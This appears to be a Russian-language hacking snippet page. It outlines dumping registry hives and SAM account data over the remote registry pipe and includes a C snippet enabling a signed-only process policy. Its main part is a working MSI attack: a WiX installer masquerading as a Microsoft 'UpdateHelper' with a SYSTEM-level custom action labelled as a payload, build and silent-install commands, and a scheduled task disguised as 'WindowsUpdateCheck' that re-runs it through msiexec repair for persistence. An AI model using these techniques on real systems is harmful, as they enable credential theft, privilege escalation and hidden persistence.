ByTe [ ]f Digital Life

RemoteRegistry → \\pipe\\winreg → BaseRegSaveKey / BaseRegSaveKeyEx → hive-файл → SMB pull → offline parse

BaseRegOpenKey → BaseRegEnumKey(RID) → BaseRegQueryValue("V")

RemoteRegistry → \\pipe\\winreg → BaseRegOpenKey(BACKUP_RESTORE) → BaseRegEnumValue

#define _WIN32_WINNT 0x0602

#include <windows.h>
#include <stdio.h>

int main(void)
{
    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = {0};
    policy.MicrosoftSignedOnly = 1;

    if (!SetProcessMitigationPolicy(
            ProcessSignaturePolicy,
            &policy,
            sizeof(policy)))
    {
        printf("Error: %lu\n", GetLastError());
        return 1;
    }

    puts("Microsoft-signed-only policy enabled");
    return 0;
}

msiexec /fa {PRODUCT-CODE-GUID}

<?xml version="1.0" encoding="UTF-8"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"&gt;
  <Product Id="*" Name="UpdateHelper" Language="1033" 
           Version="1.0.0.0" Manufacturer="MS" 
           UpgradeCode="PUT-YOUR-GUID-HERE">
    <Package InstallerVersion="200" Compressed="yes" 
             InstallScope="perMachine" />
    <Media Id="1" Cabinet="data.cab" EmbedCab="yes" />

    <Directory Id="TARGETDIR" Name="SourceDir">
      <Directory Id="ProgramFiles64Folder">
        <Directory Id="INSTALLFOLDER" Name="UpdateHelper" />
      </Directory>
    </Directory>

    <Feature Id="Main" Title="Main" Level="1">
      <ComponentRef Id="Dummy"/>
    </Feature>

    <DirectoryRef Id="INSTALLFOLDER">
      <Component Id="Dummy" Guid="*">
        <File Id="dummy" Source="dummy.txt" KeyPath="yes"/>
      </Component>
    </DirectoryRef>

    <!-- Полезная нагрузка -->
    <CustomAction Id="Payload" 
                  ExeCommand='cmd.exe /c whoami > C:\Windows\Temp\who.txt'
                  Directory="INSTALLFOLDER" 
                  Execute="deferred" 
                  Impersonate="no" 
                  Return="ignore"/>

    <InstallExecuteSequence>
      <Custom Action="Payload" After="InstallFiles">1</Custom>
    </InstallExecuteSequence>
  </Product>
</Wix>

candle payload.wxs
light payload.wixobj -o payload.msi

msiexec /i payload.msi /quiet

HKLM\SOFTWARE\Classes\Installer\Products\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

msiexec /fa {PRODUCT-CODE}

schtasks /create /tn "WindowsUpdateCheck" /sc daily /st 09:00 ^
  /tr "msiexec /fa {GUID} /qn"